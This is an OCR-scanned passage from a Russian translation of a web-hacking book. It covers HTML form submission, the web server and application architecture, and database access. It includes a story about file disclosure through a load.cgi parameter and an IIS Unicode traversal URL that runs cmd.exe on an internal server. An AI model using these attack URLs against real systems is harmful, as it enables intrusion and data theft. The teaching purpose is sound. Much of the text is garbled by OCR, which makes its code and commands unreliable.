OxOOEO: B7 61 AC E5 A2 56 CO 3F 6E 7E 67 54 4E ВЗ 2Е El .a.. .V.?n-gTN... OxOOFO: A8 F8 6C 87 95 7B 62 BD 6E 5B 70 28 3C 89 8E D4 ..1..{b.n[p( TEXT:
PASSWORD: TEXTAREA:
HIDDEN FIELD : Yup, it's hidden.
SUBMIT:
В обеих формах данные передаются программе print-query.cgi. Полный URLадрес этой программы— http://192.168.7.102/cgi-bin/print-query.cgi. Файл printquery, cgi представляет собой простую программу, которая выводит все входные параметры и их значения в виде таблицы. Кроме того, этот сценарий отображает HTTPметод, который был использован для передачи данных на сервер. Вот исходный код, содержащийся в файле print-query.cgi: IH/usr/bin/perl require "cgi-lib.pl"; 6ReadParse(*input); print "Content-type: text/html\n\n"; print "Input received:"; print "Form method: $ENV{'REQUEST_METHOD'}\n"; print "
\n"; foreach $param (sort(keys(%input)() { print "| $param | $input{$param} |
\n"; } print "
\n"; Программа print-query.cgi написана на языке Perl. Функция ReadParsef) определена в библиотеке Perl cgi-lib.pl, в которой содержатся стандартные процедуры обработки, поддерживающие интерфейс CGI. Все параметры, передаваемые сценарию print-query.cgi, хранятся в ассоциативном массиве input. В цикле foreach итеративно перебираются и выводятся на печать все пары "имя параметра/значение" этого ассоциативного массива. При запуске сценария print-query.cgi Web-сервером устанавливается переменная окружения REQUEST METHOD. В качестве значения этой переменной может использоваться либо GET, либо POST. Посмотрим, что произойдет, если некоторые данные ввести в каждую из форм страницы form_elements.html, а затем передать их сначала с помощью метода GET, а затем POST. На рис. 5.5 показано, какие данные вводятся в эти формы. Итак, что же произойдет, если данные формы передать с помощью запроса GET? На рис. 5.6 показаны результаты, которые сервер вернул обратно в броузер. Посмотрим на адресную строку в окне броузера, показанном на рис. 5.6. Несмотря на то что отображается только часть URL, видно, что все введенные данные после кодирования были отправлены на Web-сервер в строке запроса URL. Передаваемый на сервер URL имеет следующий вид: http://192.168.7.102/cgi-bin/print- , query.cgi?l_text elem=Jack&2 password elem=Jills3_textarea elem=Jack+and+Jill%ODtOAsent+ a*OD*OAGET+request&4 hidden elem=Cant+see+me
Глава 5. URL: оружие хакера в Web
133
Рис. 5.5. Страница form_eleiaents.html с данными, введенными в форме
Input received Form method GET ....• :..'.' .•..;;.'..•„•.: l_tezt_el«n Jacc d Jll a 3_t«t«rw_ekm atnc GIT request, i Cue m
Рис. 5.6. Результаты, сгенерированные сценарием query, cgi после обработки запроса GET
134
print-
Часть I. Будни электронной коммерции
Обратите внимание, что содержимое и поля ввода пароля Jill, и скрытого поля Cant see me отображается в строке URL как обычный текст. Символы возврата каретки и перевода строки в текстовом окне были закодированы как %OD*OA, что соответствует формату кодирования URL. Передаваемый броузером HTTP-запрос имеет следующий вид: GET /cgi-bin/printquery.cgi?l_text_elem=Jacks2_password_elem=Jills3_textarea_elem=Jack+and+Jill%OD%OAsent+ a*OD*OAGET+reguest&4 hidden elem=Cant+see+me HTTP/1.0 Referer: http://192.T68.7.102/form_elements.html Connection: Keep-Alive User-Agent: Mozilla/4.76 [en] (Windows NT 5.0; 0) Host: 192.168.7.102 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/pnp, */* Accept-Encoding: gzip Accept-Language: en Accept-Charset: iso-8859-l,*iUtf-8 Что произойдет, если данные из формы передать с использованием запроса POST? На рис. 5.7 показаны результаты, полученные после обработки такого запроса сценарием pring-query.cgi.
Input received Form mettwd: POST Jack l_t«rt_«lem 2_p«iiword_eleni 3_teit«re«_elem
«JicMeutoB
Jill oracle жсЛ J1U; sent т POST request \ Cant vee mt „
I 1
Puc. 5.7. Результаты, полученные от query, cgi после обработки запроса POST
сценария print-
При передаче параметров с помощью метода POST строка запроса URL уже не используется. Вместо этого они передаются после HTTP-заголовка. При этом передаваемый броузером запрос HTTP имеет следующий вид:
POST /cgi-bin/print-query.cgi HTTP/1.0 Referer: http://192.168.7.102/form_elements.html Connection: Keep-Alive
Глава 5. URL: оружие хакера в Web
135
User-Agent: Hozilla/4.76 [en] (Windows NT 5.0; U) Host: 192.168.7.102 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/pnp, */* Accept-Encoding: gzip Accept-Language: en Accept-Charset: iso-8859-l,*/utf-8 Content-type: application/x-www-fora-urlencoded Content-length: 123 1 text_elem=Jack&2_password_elem=JilU3_textarea_elem=Jack+and+Jill*OD%OAsent+a%OD*OAPOS T+request&4_hidden_elem=Cant+see+me
Первое отличие обращения к ресурсу print-query.cgi по методу POST (вместо метода GET) заключается в первой строке HTTP-заголовка. Второе состоит в том, что используется еще два дополнительных заголовка HTTP:
• Content-type; • Content-length. В заголовке Content-type указывается тип содержимого, передаваемого в запросе. Как правило, для форм HTML в заголовке Content-type используется значение /x-wwwform-urlencoded, т.е. входные данные кодируются с использованием стандартного формата кодирования URL. В заголовке Content-length содержится длина передаваемых данных в байтах. Метод POST позволяет передавать серверному приложению данные большого объема, следовательно, ограниченная по длине строка запроса URL в этом случае уже не используется. Строка Content-length в заголовке HTTP является последней, после которой серверу передается пустая строка. Все, что передается за этой строкой, и представляет собой входные данные, закодированные в формате URL. Как и в запросе GET, при использовании метода POST содержимое поля пароля и скрытого поля передается в виде незашифрованного текста. Разница заключается лишь в том, что эти данные не передаются как часть строки URL.
Резюме Адрес URL — это крошечная дверца для входа во внутренний механизм Webсервера, которая позволяет свести на нет усилия всех брандмауэров, систем выявления вторжений (IDS) и proxy-серверов. Пользователи вынуждены пропускать через свои брандмауэры весь трафик, направленный к портам 80 (HTTP) и 443 (SSL). Возможно, нельзя предусмотреть все комбинации недопустимых URL и изобрести сигнатуру IDS или proxy-фильтр, которые позволят защититься от атак через эти порты. По существу, все технологии борьбы с кибертерроризмом в Web, могут оказаться бесполезными, когда дело касается Web-атак. Чтобы помочь распознать изъяны, в данной главе обсуждалась структура URL, механизмы передачи параметров между Webброузером и сервером, система кодирования URL, потенциальные возможности ее некорректного использования и, наконец, формы HTML.
136
Часть I. Будни электронной коммерции
ЧАСТЬ II
Секреты URL
Случай из жизни: исследование подступов к корпоративным сокровищам Однажды Джек задержался в офисе до поздней ночи. Он был экстраординарным разработчиком приложений для Web (а также знаменитым Web-хакером), часто скучал и любил изучать рынок. Он относился к тем людям, которые всегда хотят обращать на себя внимание. В эту ночь Джек немного загрустил и решил порыскать в Internet. Недавно Джек приобрел несколько фильмов на интерактивном Web-узле Example.com, на котором был представлен каталог более чем из 10 000 наименований фильмов и музыки, записанных на видеокассетах, а также музыкальных компакт-дисках и DVD. За день до этого Джек получил с упомянутого узла почтовое сообщение-спэм о появлении нового Web-узла, который был гораздо дружелюбнее своего предшественника. Но больше всего Джека заинтересовало сообщение торговой компании о том, что новый Web-узел невозможно взломать. Как только Джек вспомнил об этом, его руки сами потянулись к клавиатуре и пальцы забегали в неистовом танце. Джек решил найти опровержение утверждению, которое содержалось в почтовом сообщении. Он начал с просмотра главной страницы Web-узла компании (http://www.example.com). У страницы был броский дизайн, и она была перегружена роликами Macromedia Flash. Кроме того, на узле использовалась одна из технологий серверной обработки данных, с которой Джек не был знаком. Он решил проанализировать URL и попытаться более точно определить используемую технологию. Для доступа к основной странице использовался следующий URL: http: //www. example, com/load. cgi?file=main.dhtml
»
Внимательно рассмотрев URL, Джек обратил внимание на ряд аспектов. •
Как следует из имени файла load.cgi, разработчик Web-приложения воспользовался одной из технологий CGI, возможно, языком Perl. http://www.example.con/load.cgi
• Программист использовал динамический HTML (DHTML) с возможностями, предоставляемыми последней версией 4.0 языка HTML. Такой вывод следует из имени файла main.dhtml. http://www.example.com/load.cgi?file=main.dhtml • Поскольку программе CGI (load.cgi) параметры передаются в строке запроса URL, то можно сделать вывод о том, что для передачи содержимого используются запросы GET. http: //www. example, com/load. cgi?file=main.dhtnl Если программист, написавший сценарий load.cgi, не позаботился о строгой проверке передаваемых значений полей, то кто-нибудь обязательно сможет просмотреть содержимое любого файла в файловой системе Web-сервера. Однако Джек этого не знал, пока не попробовал ввести следующий URL: http://www.example.com/load.cgi ? file=load. cgi В результате обработки этого URL на экране появился исходный код основной CGI-программы load.cgi. Теперь Джек мог просмотреть любой файл файловой системы. Однако, прежде чем приступить к поиску потенциальных целей исследуемого Web-узла, он решил обратиться к файлу robots.txt. http: //www. example, com/load. cgi?file=robots.txt
138
Часть II
В этом файле содержится перечень каталогов и файлов, которые не должны отслеживаться при перемещении по Web-узлу. Этот файл позволяет снизить загруженность Web-сервера за счет исключения определенных каталогов и файлов, задействованных при обработке запросов. Джек заметил каталог /Forecast, заслуживающий определенного интереса. Сначала он попытался получить содержимое этого каталога, но неудачно. http://www.example.com/Forecast Тогда Джек решил воспользоваться несколькими известными именами файлов, такими, как load.cgi и main.dhtml, однако это тоже ни к чему не привело. Поэтому он решил получить образ всего Web-узла и посмотреть, ссылаются ли на этот каталог какие-либо файлы. Для этого прекрасно подошла утилита Teleport Pro. Просмотрев полученные данные, Джек нашел последовательность файлов, которые по счастливой случайности назывались Example.com-Forecast-QxJT.pdf, где х представлял собой номер квартала (1, 2, 3 и 4), a YY— две последние цифры года (99, 00, 01 и 02). http://www.example.com/Forecast/Example.coni-Forecast-Q199.pdf http://www.example.com/Forecast/Example.com-Forecast-Q299.pdf http://www.example.com/Forecast/Example.com-Forecast-Q3 9 9.pdf http: //www. example. com/Forecast/Example. com-Forecast-Q4 9 9. pdf http://www.example.com/Forecast/Example.com-Forecast-Ql0 0.pdf http://www.example.com/Forecast/Example.com-Forecast-Q200.pdf
Зная, что 28 марта 2002 года — это текущая дата и скоро заканчивается первый квартал, Джек попробовал воспользоваться следующим URL: http: //www. example. com/Forecast/Example. com-Forecast-Q102. pdf Вуаля! На экране появилось окно, в котором предлагалось сохранить файл Example.com-Forecast-Q102Y.pdf. Все произошло так быстро! Утилите Teleport Pro не удалось найти этот файл, однако Джек надеялся, что финансовый отдел разместит промежуточную версию отчета на Web-узле, чтобы инвесторы могли с ним познакомиться. Именно так и случилось. Человеческая предсказуемость — прекрасная вещь! Имея в своем распоряжении файл, Джек приступил к поиску в нем конфиденциальных данных. Оказалось, что подобной информации более чем достаточно. В частности, доходы не соответствовали ожиданиям, которые были выражены в общем плане развития. Джек быстро понял, что нужно продать свои акции до того, как финансовый отчет попадет кому-то на глаза, и заработать $1000. Поэтому он зарегистрировался на своем Web-узле и разместил на нем предложение о продаже. После этого Джек долго размышлял о своем успехе. Возможно, благодаря проделанным операциям в будущем у него возникнет не так много проблем...
Секреты URL
139
ГЛАВА 6
За кулисами
Лучше зажечь свечу, чем бранить темноту. Китайская пословица
Введение В этой главе описывается важный элемент "цифрового поля боя" — Web-приложения. Подробно рассматриваются функциональные компоненты стандартных Web-приложений и их взаимодействие друг с другом. Понимание составляющих обработки информации в Web позволит организовать защиту, достойную восхищения. В главе 5 были представлены основанные на анализе URL-адресов способы, с помощью которых можно выяснить, что происходит на Web-сервере. Теперь рассмотрим новые возможности и опишем различные технологии, применяемые на Web-серверах. В этой главе рассматриваются следующие вопросы: • создание среды работы Web-приложений; • подключение компонентов; • технологии идентификации, основанные на URL; • анализ ошибок, выдаваемых Web-приложениями и базами данных; • блокирование утечки информации. Первая половина этой главы знакомит читателя со способами совместного использования различных технологий в рамках одного Web-приложения, а в оставшейся части речь пойдет о том, какие знания и догадки применяет взломщик при атаке на компоненты Web-системы.
Компоненты Web-приложений Создание Web-систем напоминает попытку связать воедино домашний развлекательный комплекс — возможности здесь не ограничены. Такая система включает связанные между собой элементы, которые установлены с заданными параметрами. Необходимо лишь поместить все это в изящный ящик из красного дерева, включить питание, сесть на диван и нажать нужные кнопки на пульте дистанционного управления. Однако настоящий любитель музыки никогда не успокоится, пока не подберет каждый элемент в отдельности, подключит их все вместе, выберет точные настройки и добьется максимального эффекта. Кто же в данном случае будет более прав: этот любитель музыки или тот, кто выбрал систему "все в одном"? На самом деле понятия "правильный выбор" не существует, поскольку выбор зависит прежде всего от потребностей человека и его желаний. Для достижения оптимального уровня воспроизведения необходимо тщательно подобрать и настроить каждый элемент. Акустика, свет, окружающий шум, элегантность внешнего вида, возможность наилучшего воспроизведения записей для различных носителей — все эти факторы необходимо учитывать при создании домашнего развлекательного комплекса. Если человеку просто нужно слушать записи и его устраивает уровень воспроизведения немногим выше среднего, то ему подойдет система "все в одном". Преимущество состоит в том, что такая система продается как единое целое и отличается простотой эксплуатации. Все то же самое можно применить и к Web-приложениям. Например, системы типа "точка—точка" (end-to-end system) содержат компоненты, которые находятся и взаимодействуют друг с другом в едином блоке. Но, если требуется приложение с более высокой производительностью и пропускной способностью, наилучшим решением будет сочетание различных Web-технологий. Обычно Web-приложение содержит три основных компонента. • Внешний Web-сервер (front-end Web server). • Среда выполнения Web-приложения (Web application execution environment). • Сервер баз данных (database server).
Глава 6. За кулисами Web-сервера
141
На рис. 6.1 показана схема функционирования стандартного Web-приложения. Не затрагивая пока работу Web-броузера и брандмауэра, рассмотрим функциональные особенности каждого компонента Web-приложения, помня о том, что они могут находиться как на одном и том же, так и на разных компьютерах.
Web-приложение Web-приложение Web-приложение
Web-приложение
Брандмауэр Рис. 6.1. Схема функционирования стандартного Web-приложения
Внешний Web-сервер Внешний Web-сервер главным образом отвечает за прием HTTP-запросов от клиентов и отправку им HTTP-ответов. Причем он должен обеспечить обслуживание большого числа параллельных запросов и в то же время эффективно использовать ресурсы и поддерживать высокую пропускную способность. Такие серверы достаточно универсальны. Они способны выполнять обработку статических HTML-файлов и некоторых динамических сценариев, но никоим образом не могут использоваться для обслуживания Web-приложений в целом. Внешний Web-сервер должен обладать следующими функциональными возможностями. • Масштабируемость и устойчивость. Web-сервер должен допускать расширение возможностей без дополнительных затрат на настройку аппаратных средств и операционной системы. При увеличении нагрузки на сервер потери в производительности должны быть минимальны. Сервер должен легко восстанавливаться после сбоев, вызванных некорректной работой подкомпонентов или внешних подключенных к нему компонентов. • Устойчивость к общеизвестным атакам. Поскольку внешние Web-серверы являются компонентами, которые будут подвергаться атакам в первую очередь, их
142
Часть II. Секреты URL
необходимо защищать от таких общеизвестных изъянов, как переполнение буфера, вставка метасимволов и др. • Устойчивость к перегрузкам и возможность обработки большого числа параллельных соединений. Обычно внешние Web-серверы многопоточны и обеспечивают обработку трафика большого объема, как в смысле количества обработанных запросов в единицу времени, так и в смысле количества одновременных параллельных подключений. Поэтому необходимо тщательно настроить параметры используемой операционной системы для обеспечения максимальной производительности Web-сервера. • Разнообразие конфигурационных установок. Это свойство позволяет настраивать различные программные компоненты Web-сервера: диаграммы ресурсов, обработчики ошибок, интерфейсы внешних компонентов и др. • Возможность поддержки надстроек и функций API для подключения внешних компонентов и модулей. Возможность поддержки программных интерфейсов приложений и надстроек (plug-in) является важным свойством, поскольку позволяет увеличить производительность сервера путем подключения внешних модулей. Это также обеспечивает неразрывную связь среды выполнения команд Web-приложения с внешним Web-сервером. Например, Web-сервер Apache позволяет интегрировать с основным Web-сервером распределенные совместно используемые объекты DSO (Distributed Shared Object). Сервер Microsoft IIS содержит ISAPI-интерфейс (интерфейс программирования приложений Internetсервера), который позволяет разработчику подключать дополнительные модули, а сервер Netscape, в свою очередь, — NSAPI-интерфейс. На данный момент, согласно исследованию, проведенному компанией Netcraft (www.netcraft.com), наиболее распространенными внешними Web-серверами являются следующие: • Apache; • Microsoft IIS; • Netscape/iPlanet server; • Zeus Web server. '
Среда выполнения Web-приложения Среда выполнения Web-приложения — это платформа для создания приложений, которые получают входные данные из HTML-форм или URL-адресов и динамически генерируют ответ в формате HTML. Обычно под средой выполнения Web-приложений подразумевается сервер Web-приложения. Среда выполнения Web-приложения (или серверный компонент Web-приложения) может просто представлять собой внешний Web-сервер или отдельную прикладную систему. Поскольку современные операционные системы поставляются вместе со встроенными интерпретаторами или языками сценариев, Web-серверы также содержат компоненты сценариев. Такие языки, как Perl, Active Server Pages (Visual Basic), PHP и т.п., обычно связаны с Web-серверами Apache, IIS либо Netscape. При выборе полатформы разработки серверного компонента Web-приложения необходимо учитывать ряд факторов. • Удобство разработки. Выбор надлежащего языка программирования является наиболее важным в создании Web-приложений. Многие языки сценариев, такие, как Perl, были вытеснены более специализированными языками создания Webприложений, такими, как РНР и ASP. В данный момент приобретают популярГлава 6. За кулисами Web-сервера
' 143
ность специализированные среды для разработки компонентов, в том числе J2EE и .Net компании Microsoft. Во многих случаях Web-приложения проектируются на основе существующих клиент-серверных приложений. Вместо создания заново целой программы разработчик предпочитает подключить интерфейсные оболочки к уже написанному коду и в результате получает Web-приложение. Наш выбор — объектно-ориентированные языки. • Интерфейсы внешнего Web-сервера. Серверная часть Web-приложения должна быть максимально совместима с внешним Web-сервером и обеспечивать различные способы подключения к нему. Наиболее распространенные коммерческие и некоммерческие компоненты поддерживают интеграцию с такими известными серверами, как Apache, Microsoft IIS и Netscape. • Интерфейсы баз данных. Серверные компоненты должны быть совместимы с такими известными серверами баз данных, как Oracle, DB2, SQL Server и MySQL. Подключение к базе данных может реализовываться с помощью библиотек языка программирования или отдельных компонентов.
Сервер баз данных Этот сервер используется в Web-приложениях для размещения баз данных и таблиц, необходимых для разрабатываемого приложения. Он является, возможно, наиболее важным компонентом для создания Web-систем. Взаимодействие сервера баз данных с приложением происходит с помощью собственных API-функций, драйверов базы данных или компонентов-посредников (компонентов среднего уровня), а обработка транзакций — посредством SQL.
Взаимодействие компонентов Существует несколько способов взаимодействия компонентов Web-приложения друг с другом. На рис. 6.2 показаны четыре схемы взаимодействия серверного компонента Web-приложения с внешним сервером и сервером баз данных. Рассмотрим каждый из этих методов более подробно.
Собственная среда обработки приложений Первый, и наиболее простой, способ состоит в написании приложения для среды обработки самого внешнего сервера. Такие Web-серверы, как Microsoft IIS, содержат встроенные средства обработки, например страниц Active Server Pages, которые позволяют разработчикам создавать Web-системы, используя язык Visual Basic.
Надстройки и API-функции Web-сервера Второй метод заключается в разработке приложений с использованием библиотек API-функций Web-сервера. В таком случае приложение является надстройкой над внешним сервером и может иметь свой адрес URL. Серверы Apache, IIS и Netscape имеют библиотеки API-функций, которые можно подключать к разрабатываемому приложению. Так, большинство коммерческих серверных компонентов Web-приложений функционируют как динамические совместно используемые объекты DSO (Dynamic Shared Object) Apache, расширения Microsoft ISAPI или модули Netscape NSAPI. Эти компоненты обеспечивают более гибкую разработку приложений, нежели среда
144 '
Часть II. Секреты URL
внешнего Web-сервера. Например, сервер Java-приложений ServletExec, созданный компанией NewAtlanta Inc., функционирует как объект Apache DSO или как расширение Microsoft ISAPI. Он позволяет подключать сервлеты Java, компоненты EJB и страницы JSP к оболочке выполнения программ J2EE. Работая как надстройка к серверу Apache или IIS, ServletExec расширяет их возможности, позволяя разработчикам подключать Java-приложения к обоим Web-серверам. Причем сервер приложения запускается в той же системе, что и Web-сервер, и находится под управлением его конфигурации.
Внешний Web-сервер
Собственное приложение
Программный интерфейс приложения
Сервер приложения на внешнем сервере
Шш~~ -^
НИР
.
ПеренаправлениеШ!.
:"•'••'-
TCP-порт
е
/
Сервер приложения на внешнем сеовеое
Рис. 6.2. Взаимодействие серверов Web-приложения
Отображение URL-адресов и внутреннее перенаправление Третий способ взаимодействия сервера Web-приложения с внешним Web-сервером состоит в отображении URL-адресов и внутреннем перенаправлении информации. Этот метод не требует библиотек API-функций или надстроек. Наоборот, сервер Webприложения функционирует как независимый HTTP-сервер, прослушивая TCP-порт, не задействованный внешним Web-сервером. При этом внешний Web-сервер за счет специальной настройки отображает определенные URL-адреса на сервер Webприложения, который работает с другим TCP-портом. Это обеспечивает более общий уровень взаимодействия, но несколько снижает производительность системы, по-
Глава 6. За кулисами Web-сервера
145
скольку внешний Web-сервер и сервер Web-приложения, в отличие от процедур, использующих API-функции, работают в пространстве различных процессов и обмен данными происходит посредством протокола HTTP.
Перенаправление к внутреннему серверу приложений Четвертый способ состоит в запуске сервера Web-приложения на отдельной системе, которая доступна с внешнего сервера по IP-адресу внутренней сети. Причем доступ нельзя осуществить непосредственно из внешней сети, а только через внешний сервер. В этом случае для внутреннего сервера приложений он выступает proxyсервером, выполняющим преобразование URL. Предложенный метод является расширением предыдущего и позволяет серверам приложений, работающим с одним или несколькими внешними Web-серверами, подгружать различные компоненты приложения. Избыточность серверов (внешних и внутренних) позволяет повысить пропускную способность, масштабируемость и надежность. Приведенные далее примеры демонстрируют разницу между различными способами взаимодействия компонентов Web-приложения.
Примеры
.
Взаимодействие сценариев РНРЗ с сервером Apache В наши дни РНРЗ неразрывно связан с сервером Apache. Практически все Webсерверы Apache поддерживают приложения, написанные на РНР. Этот язык является независимой платформой и предоставляет мощный инструментарий для создания Web-приложений. В данном примере РНРЗ взаимодействует с Apache с помощью динамических совместно используемых объектов Apache DSO (Dynamic Shared Object). Код скомпилирован и скомпонован как модуль Apache под именем libphpS. so. Чтобы обеспечить возможность обработки файлов с расширением .php3, в файл конфигурации Apache httpd. conf необходимо добавить следующие директивы: LoadHodule Iibphp3.so Addttodule mod_php3.c AddType application/x-httpd-php3 .php3
Модуль ServletExec как объект Apache DSO Модуль ServletExec также может функционировать в качестве объекта DSO с Webсервером Apache. Но при этом ServletExec необходимо запустить как независимый сервер, который будет прослушивать TCP-порты, не задействованные сервером Apache. Затем модуль mod servletexec. so нужно поместить в папку libexec корневого каталога Apache и прописать соответствующий путь в файле конфигурации httpd.conf. LoadModule servletexecjnodule libexec/mod servletexec.so Для возможности обработки сервером ServletExec файлов с расширением .jsp необходимо добавить следующие директивы:
146
Часть II. Секреты URL
SetHandler servlet-exec AddHandler servlet-exec ,jsp Эти строки позволяют серверу ServletExec автоматически обрабатывать формы с адресами http://www.smeserver.com/servlet/ и http://www.someserver.com/ шля_файла. jsp.
Модуль ServletExec как ISAPI-расширение для Microsoft IIS В операционной системе Microsoft Windows NT/2000 сервер Java-приложений ServletExec можно настроить как независимый Web-сервер или как ISAPIрасширение. При этом ServletExec записывает в папку \Inetpub\scripts динамически подключаемую библиотеку ServletExec_Adapter.dll, которая доступна серверам приложений в качестве ISAPI-расширения. Сервер приложений ServletExec работает как служба Windows NT/2000. Как показано на рис. 6.3, файл ServletExec_Adapter.dll можно зарегистрировать во вкладке настройки ISAPI-фильтров для служб сервера Microsoft IIS. При такой настройке запрос, направленный серверу IIS и содержащий ссылку на сервлет Java или на файл с расширением .jsp, будет обязательно перехвачен сервером ServletExec и обработан в его собственной среде выполнения. Такой способ конфигурации и взаимодействия аналогичен тому, который использовался при взаимодействии ServletExec с Apache.
Рис. 6.3. Установка ServletExec как ISAPI-расширения
Взаимодействие серверов IIS и Domino с сервером Netscape Enterprise Server Во время одной из атак мы случайно натолкнулись на приложение, изначально написанное и подключенное к серверу Lotus Domino, а затем интегрированное с другим приложением для IIS с помощью сценария ASP. Причем серверы IIS и Domino
Глава 6. За кулисами Web-сервера
147
V
находились на разных системах. Поскольку эти серверы не так-то легко интегрировать друг с другом, мы решили, что это можно осуществить лишь с помощью внешнего Web-сервера, в качестве которого использовался Netscape Enterprise Server. При таком построении Netscape Enterprise Server перенаправляет определенные URLадреса серверам IIS и Domino, которые находятся во внутренней сети Web-сервера. На рис. 6.4 показана схема размещения и взаимодействия этих Web-систем. Сервер Netscape имеет внешний адрес 10.4.3.2 и подключен к внутренней сети с адресом 10.6.6.0. Вторичный адрес Netscape— 10.6.6.6. Серверы IIS и Domino подключены по адресам 10.6.6.5 и 10.6.6.4 соответственно. На рис. 6.5 показаны настройки внешнего сервера Netscape.
Рис. 6.4. Web-приложение под управлением серверов IIS и Domino
По умолчанию URL-адрес http://10.4.3.2/ преобразуется в адрес http://10.6.6.6/. URL-адреса http://10.4.3.2/content, http://10.4.3.2/graph и h t t p : / / 1 0 . 4 . 3 . 2 / publish преобразуются в http://10.6.6.5/content, http://10.6.6.5/graph и http://10.6.6.5/ publish соответственно и обрабатываются сервером IIS. Остальные два адреса — http://10.4.3.2/data и http://10.4.3.2/diagnostics — трансформируются в http:// 10.6.6.4/data и http://10.6.6.4/diagnostics и обрабатываются сервером Domino. Таким образом, Web-приложение в целом доступно через общий внешний Web-сервер, а его подкомпоненты обрабатываются внутренними серверами IIS и Domino. Так, например, запрос http://10.4.3.2/content/news_stories.asp?st=lsdisp=10 будет преобразован в http://10.6.6.5/content/news_stories.asp?st=Udisp=10 и отправлен как промежуточный HTTP-запрос по адресу 10.6.6.5. В свою очередь, URL-адрес http:// 10.4.3.2/data/results.nsf будет трансформирован в http://10.6.6.4/data/results.nsf и передан как HTTP-запрос по адресу 10.6.6.4.
148
Часть II. Секреты URL
.,„, ,,-.
.
.
dinclianE) V-v V . -:
Л/с. 6.5. Настройка сервера Netscape
Коварнейшая атака Весь доступ к Web-приложению осуществлялся через сервер Netscape Enterprise. Однако, проанализировав различные виды URL-адресов, мы легко выделили те части приложения, которые обрабатывались серверами IIS (очевидно из наличия ссылок на файлы с расширением .asp) и Domino (файлы с расширением .nsf). Запрос HEAD/HTTP/1.0 по адресу 10.4.3.2 позволил определить, что в качестве Web-сервера использовался Netscape Enterprise. Но все это не имело никакого смысла до тех пор, пока мы не поняли, что Netscape Enterprise использовался как proxy-сервер для перенаправления запросов внутренним серверам IIS и Domino.
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The [ headers it did return are: ALLUSERSPROFILE-C:\Documents and Settings\All Users СоткюпРгодгогаГИез-СЛРгодгагй FilesNConmon F i l e s COHPBTERNAHE-APPSRVROS ComSpec=C:MIINNT\systems 2 \ cmd.exe CONTENT_LENGTH-0 OATEKAY INTERFACE-CGI/1.1 HTTP_ACCEPT-lmage/eif, imaoe/x-xeitmap, imaae/Jpeg, image/pjpeg, ireage/png, «/ HTTP_ACCEPT LAMGDAGE-en HTTP~COHNECTIC«-Keep-Al Ive HTTP_HOST40. S. 6.5 HTTP USER AGENT-Hozilla/l.^e [en] (Uindous MT 5.0; U) HTTP^ACCEPT EHCODING-aiip HTTP_ACCEPT~CHARSET-lso-S8S3-l,«,utf-8 HTTP5-of£ INSTAHCE_ID-1 LOCAL_ADDR-10.6.6.S NUHBER_OF_PROCESSORS-1 Oa2LibPath-C;\IIIKHT\systein32\os2\dll; P»th-C: \ KIHNT\ system32; С: \ UINUT: С: \ «INKTN systems 2\ чьей; С: \ HSSQL7\ BINN PATH TRANSLATED-c: \inetputo\wwwroot РАТНЁГГ-.СОН; .EXE; .BAT; .СИП; .VBS; .VBE; .JS;. JSE;.
Puc. 6.6. Unicode-атака no адресу 10.6.6.5 через сервер Netscape Enterprise
Глава 6. За кулисами Web-сервера
Атака на внутренний сервер IIS была быстрой и точной. Один-единственный URL-запрос позволял удаленно выполнять команды на сервере IIS по адресу 10.6.6.5, используя уязвимость кодировки Unicode сервера IIS. http: //10.4.3.2/content/.. /scripts/.. *cO*af ../winnt/system32/cmd.exe?/c+set На рис. 6.6 показано окно броузера после выполнения этого запроса. Вам понятно, в чем состояла эта атака? Сервер Netscape был настроен преобразовывать любые URL-адреса, начинающиеся с /content/, в http://10.6.6.5/content/. Таким образом, получив первоначальный запрос, он преобразовал его в http://10.6.6.5/content/../scripts/..*cO%af../winnt/system32/cmd.exe?/c+set Затем этот URL-адрес передавался по внутренней сети как HTTP-запрос к серверу IIS по адресу 10.6.6.5. Получив этот запрос, сервер IIS из-за наличия символов ".." между фрагментами /content/ и /scripts/ преобразовал его в обычную атаку, связанную с уязвимостью кодировки Unicode: http://10.6.6.5/scripts/..%cO*af../winnt/system32/cmd.exe?/c+set В результате броузер отображал список команд, которые были запущены на сервере Windows 2000 по адресу 10.6.6.5, т.е. использование общего URL-адреса способствовало взлому сервера приложения во внутренней сети, несмотря на то что он был защищен брандмауэром и внешним Web-сервером.
Доступ к базам данных Развитие приложений на платформе клиент/сервер способствовало повышению гибкости и стандартизации доступа к базам данных. В 1970-х и начале 1980-х годов системы управления базами данных, или СУБД (database management system — DBMS), представляли собой огромные и монолитные "глыбы". Каждая такая система имела собственный язык программирования и формат файлов. Но с внедрением языка структурированных запросов SQL разработчики получили возможность стандартизовать процессы определения и обработки данных. Большинство администраторов баз данных одобрили SQL в качестве стандартного языка доступа к базам данных. Однако полная независимость приложения от базы данных стала возможна только с разработкой приложений на платформе клиент/сервер. Теперь приложение и СУБД не обязательно должны находиться в одной и той же системе. Доступ к базе данных можно осуществить с использованием API-функций языка программирования, на котором написано приложение. Эти функции поддерживают связь с базой данных и аутентификацию, позволяют отправлять SQL-запросы к базе данных, извлекать результаты запросов и отправлять их обратно приложению. В данный момент наиболее популярными способами доступа к базам данных являются следующие: • использование собственных API-функций базы данных; • стандарт ODBC; • стандарт JDBC. • -
.
.-
.-
Использование собственных API-функций базы данных Языки программирования .Web-приложений PHP, ASP и Perl содержат библиотеки API-функций, которые обеспечивают доступ к таким наиболее известным серверам баз
150
Часть II. Секреты URL
данных, как Oracle, DB2, SQL Server, Sybase и MySQL. Все, что необходимо сделать разработчику, — вызвать нужные API-функции для взаимодействия с базой данных. Рассмотрим несколько примеров, демонстрирующих использование API-функций.
Примеры Доступ к SQL Server с помощью ASP Приведенный фрагмент кода демонстрирует возможность выполнения запросов к серверу Microsoft SQL Server с помощью сценария ASP. Set db_connection=Server.CreateObject("ADODB.Connection") db connection.Open "Provider=SQLOLEDB; Data Source=192.168.7.246; Initial Catalog=customers; User Id=dbuser; Password=$ql+u$Er" Set record_set=db_connection.Execute("select name, address from profiles") db_connection.Close Этот код практически не требует пояснений. Сначала инициализируется объект соединения с базой данных db_connection, который впоследствии используется для установления соединения с сервером SQL Server по адресу 192.168.7.246. Затем выполняется SQL-запрос и соединение разрывается. Таким образом, API-функции поддерживают объекты соединения для обеспечения доступа к базам данных.
Доступ к Oracle с помощью сценария РНР Следующий фрагмент кода, написанный на языке РНР, демонстрирует возможность использования интерфейса OCI (Oracle Connection Interface) для доступа к серверу баз данных Oracle.
